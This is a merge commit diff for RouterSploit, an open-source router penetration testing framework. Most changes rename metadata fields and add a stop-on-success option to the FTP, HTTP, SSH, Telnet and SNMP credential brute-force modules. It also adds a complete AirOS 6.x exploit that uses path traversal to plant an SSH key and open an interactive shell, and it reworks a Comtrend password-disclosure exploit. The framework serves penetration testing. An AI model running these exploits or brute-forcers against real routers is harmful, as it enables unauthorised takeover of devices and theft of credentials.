Commit e4bf2568 by Milad Doorbash

Merge with upstream/master

parents 7db65a6b 7318a775
......@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations:
# Installation
## Requirements
* gnureadline
* requests
* paramiko
* beautifulsoup4
* pysnmp
## Installation on Kali
git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py
## Installation on Ubuntu
sudo apt-get install python-dev python-pip libncurses5-dev git
git clone https://github.com/reverse-shell/routersploit
cd routersploit
pip install -r requirements.txt
./rsf.py
## Installation on OSX
git clone https://github.com/reverse-shell/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
./rsf.py
# Update
Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday.
......@@ -101,7 +126,7 @@ Display information about exploit:
Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.
Targets:
Devices:
- D-Link DIR 300
- D-Link DIR 600
......
......@@ -205,11 +205,11 @@ class RoutersploitInterpreter(BaseInterpreter):
self.modules.append(module_path.split('.', 2).pop())
def __parse_prompt(self):
raw_prompt_default_template = "\033[4m{host}\033[0m > "
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033')
self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template
module_prompt_default_template = "\033[4m{host}\033[0m (\033[91m{module}\033[0m) > "
module_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 (\001\033[91m\002{module}\001\033[0m\002) > "
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
......@@ -331,12 +331,12 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required
def command_show(self, *args, **kwargs):
info, options = 'info', 'options'
info, options, devices = 'info', 'options', 'devices'
sub_command = args[0]
if sub_command == info:
utils.pprint_dict_in_order(
self.module_metadata,
("name", "description", "targets", "authors", "references"),
("name", "description", "devices", "authors", "references"),
)
utils.print_info()
elif sub_command == options:
......@@ -352,12 +352,27 @@ class RoutersploitInterpreter(BaseInterpreter):
utils.print_table(headers, *self.get_opts(*module_opts))
utils.print_info()
elif sub_command == devices:
if devices in self.current_module._Exploit__info__.keys():
devices = self.current_module._Exploit__info__['devices']
print("\nTarget devices:")
i = 0
for device in devices:
if isinstance(device, dict):
print(" {} - {}".format(i, device['name']))
else:
print(" {} - {}".format(i, device))
i += 1
print()
else:
print("\nTarget devices are not defined")
else:
print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options))
@utils.stop_after(2)
def complete_show(self, text, *args, **kwargs):
sub_commands = ['info', 'options']
sub_commands = ['info', 'options', 'devices']
if text:
return filter(lambda command: command.startswith(text), sub_commands)
else:
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'FTP Bruteforce',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit):
try:
ftp.login(user, password)
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
except:
......
......@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'FTP Default Creds',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit):
try:
ftp.login(user, password)
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
except:
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'HTTP Basic Bruteforce',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
......@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'HTTP Basic Default Creds',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
......@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'HTTP Form Bruteforce',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit')
form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
data = ""
......@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit):
l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'HTTP Form Default Creds',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit')
form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
data = ""
......@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit):
l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
import threading
import netsnmp
from pysnmp.entity.rfc3413.oneliner import cmdgen
from routersploit import (
exploits,
......@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'SNMP Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
......@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads')
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid community string')
strings = []
def run(self):
......@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit):
def target_function(self, running, data):
module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...', verbose=module_verbosity)
cmdGen = cmdgen.CommandGenerator()
while running.is_set():
try:
string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string)
errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
cmdgen.CommunityData(string),
cmdgen.UdpTransportTarget((self.target, int(self.port))),
'1.3.6.1.2.1.1.1.0',
)
if res[0] is not None:
running.clear()
if errorIndication or errorStatus:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
else:
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
self.strings.append((self.target, self.port, string))
else:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
except StopIteration:
break
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'SSH Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
......@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit):
ssh.close()
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
print_status(name, 'thread is terminated.', verbose=module_verbosity)
......@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'SSH Default Creds',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
print_status(name, 'process is terminated.', verbose=module_verbosity)
......@@ -22,7 +22,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'Telnet Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
......@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
tn.close()
......
......@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'Telnet Default Creds',
'author': [
'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
]
}
......@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
tn.close()
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/9459/',
],
'targets': [
'devices': [
'2Wire 2701HGV-W',
'2Wire 3800HGV-B',
'2Wire 3801HGV',
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
],
'targets': [
'devices': [
'Asmax AR 1004g',
],
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
'https://www.exploit-db.com/exploits/8846/',
],
'targets': [
'devices': [
'Asmax AR 804 gu',
],
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://github.com/jduck/asus-cmd',
],
'targets': [
'devices': [
'ASUS RT-N66U',
'ASUS RT-AC87U',
'ASUS RT-N56U',
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
],
'targets': [
'devices': [
'ASUS RT-N10U, firmware 3.0.0.4.374_168',
'ASUS RT-N56U, firmware 3.0.0.4.374_979',
'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765',
'https://www.exploit-db.com/exploits/17349/',
],
'targets': [
'devices': [
'Belkin G',
'Belkin N150',
],
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403',
'https://www.exploit-db.com/exploits/4941/',
],
'targets': [
'devices': [
'Belkin G',
],
}
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'http://www.belkin.com/us/support-article?articleNum=109400',
'http://www.kb.cert.org/vuls/id/774788',
],
'targets': [
'devices': [
'Belkin N150 1.00.07',
'Belkin N150 1.00.08',
'Belkin N150 1.00.09',
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/35184/',
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/',
],
'targets': [
'devices': [
'Belkin N750',
]
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39568/',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash',
],
'targets': [
'devices': [
'Cisco UCS Manager 2.1 (1b)',
],
}
......
......@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit):
'references': [
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
],
'targets': [
'Comtrend CT 5361T (more likely CT 536X)\n' +
'Software Version: A111-312SSG-T02_R01\n' +
'Wireless Driver Version: 4.150.10.15.cpe2.2'
'devices': [
'Comtrend CT 5361T (more likely CT 536X)',
]
}
......@@ -38,34 +36,34 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
response = http_request(method="GET", url=url)
if response is None:
return
creds = []
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if len(admin):
creds.append(('Admin', b64decode(admin[0])))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if len(support):
creds.append(('Support', b64decode(support[0])))
user = re.findall("pwdUser = '(.+?)'", response.text)
if len(user):
creds.append(('User', b64decode(user[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
regexps = [("admin", "pwdAdmin = '(.+?)'"),
("support", "pwdSupport = '(.+?)'"),
("user", "pwdUser = '(.+?)'")]
creds = []
for regexp in regexps:
res = re.findall(regexp[1], response.text)
if len(res):
creds.append((regexp[0], b64decode(res[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else:
print_error("Credentials could not be found")
else:
print_error("Credentials could not be found")
print_error("Device seems to be not vulnerable")
@mute
def check(self):
......@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])):
return True # target vulnerable
regexps = ["pwdAdmin = '(.+?)'",
"pwdSupport = '(.+?)'",
"pwdUser = '(.+?)'"]
for regexp in regexps:
res = re.findall(regexp, response.text)
if len(res):
try:
b64decode(res[0]) # checking if data is base64 encoded
except:
return False # target is not vulnerable
else:
return False # target is not vulnerable
return False # target is not vulnerable
return True # target is vulnerable
......@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf',
],
'targets': [
'devices': [
'D-Link DIR-300',
'D-Link DIR-600',
'D-Link DIR-615 revD',
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://seclists.org/bugtraq/2013/Dec/11'
],
'targets': [
'devices': [
'D-Link DIR-300 (all)',
'D-Link DIR-600 (all)',
'D-Link DIR-615 (fw 4.0)',
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003',
],
'targets': [
'devices': [
'D-Link DIR 300',
'D-Link DIR 600',
]
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'
],
'targets': [
'devices': [
'D-Link DIR-645 (Versions < 1.03)',
]
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf',
],
'targets': [
'devices': [
'DNS-320L 1.03b04',
'DNS-327L, 1.02',
]
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://seclists.org/fulldisclosure/2015/May/129'
],
'targets': [
'devices': [
'D-Link DSL-2750B EU_1.01',
],
}
......
......@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39409/',
'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html',
],
'targets': [
'devices': [
'D-Link DVG-N5402SP',
]
}
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/39581/',
],
'targets': [
'devices': [
'D-Link DWR-932',
]
}
......
......@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003',
],
'targets': [
'devices': [
'FortiGate OS Version 4.x-5.0.7',
]
}
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
],
'targets': [
'devices': [
'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
]
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/24475/',
],
'targets': [
'devices': [
'Linksys E1500/E2500',
]
}
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://seclists.org/bugtraq/2010/Jun/93',
],
'targets': [
'devices': [
'Linksys WAP54Gv3',
]
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-001.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
],
'targets': [
'devices': [
'Netgear WG102',
'Netgear WG103',
'Netgear WN604',
......
......@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt',
'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html',
],
'targets': [
'devices': [
'Netgear N300',
'Netgear JNR1010v2',
'Netgear JNR3000',
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-002.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
],
'targets': [
'devices': [
'Netgear ProSafe WC9500',
'Netgear ProSafe WC7600',
'Netgear ProSafe WC7520',
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/31894/',
],
'targets': [
'devices': [
'Technicolor TC7200',
]
}
......
import requests, tempfile, os.path
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import (
exploits,
print_success,
print_error,
print_info,
random_text,
sanitize_url,
http_request,
mute,
)
class Exploit(exploits.Exploit):
'''
Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router
'''
__info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',
'authors': [
'93c08539', #Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module
],
'references': [
'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/'
],
'devices': [
'AirOS 6.x'
]
}
target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port
#Disable certificate verification warnings
requests.packages.urllib3.disable_warnings()
def run(self):
if(self.check()):
print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key')
key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64()
private_key = StringIO.StringIO()
key.write_private_key(private_key)
tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key)
tmp_file_pubkey.seek(0)
upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}
upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params)
if(response is None):
print_error('Something was wrong while uploading the SSH Public Key')
return
print_success('Appareantly the exploit worked fine')
print_success('Trying to invoke a interactive SSH Shell')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()
ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')
client.connect(ip_target, 22, username='ubnt', pkey=pkey)
# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()
else:
print_error('Target is not vulnerable')
@mute
def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))
upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET')
if(response is None):
return False #Target not vulnerable
rand_str = random_text(length=16)
tmp_payload = tempfile.TemporaryFile()
tmp_payload.write('vulnerable' + rand_str)
tmp_payload.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}
response = http_request(url=upload_url, method='POST', files=upload_params)
tmp_payload.close()
if(response is None):
return False #Target not vulnerable
#Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET')
#Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}
http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close()
if('vulnerable'+rand_str in verify_upload.text):
return True
else:
return False
......@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module()
self.rsf.send("set \t\t")
self.assertPrompt(
'passwords port target threads usernames verbosity \r\n',
'passwords stop_on_success threads verbosity\r\nport target usernames \r\n',
self.module_prompt('FTP Bruteforce'),
'set ',
)
......@@ -181,4 +181,4 @@ class RoutersploitCompleterTest(unittest.TestCase):
)
if __name__ == '__main__':
unittest.main()
\ No newline at end of file
unittest.main()
......@@ -22,8 +22,8 @@ class RoutersploitInterpreterTest(unittest.TestCase):
RoutersploitInterpreter.setup = mock.Mock()
self.interpreter = RoutersploitInterpreter()
self.interpreter.current_module = mock.MagicMock()
self.raw_prompt_default = "\033[4mrsf\033[0m > "
self.module_prompt_default = lambda x: "\033[4mrsf\033[0m (\033[91m{}\033[0m) > ".format(x)
self.raw_prompt_default = "\001\033[4m\002rsf\001\033[0m\002 > "
self.module_prompt_default = lambda x: "\001\033[4m\002rsf\001\033[0m\002 (\001\033[91m\002{}\001\033[0m\002) > ".format(x)
def prepare_prompt_env_variables(self, raw_prompt=None, module_prompt=None):
if raw_prompt:
......@@ -290,7 +290,7 @@ class RoutersploitInterpreterTest(unittest.TestCase):
@mock.patch('__builtin__.print')
def test_command_show_info(self, mock_print):
metadata = {
'targets': 'target_desc',
'devices': 'target_desc',
'authors': 'authors_desc',
'references': 'references_desc',
'description': 'description_desc',
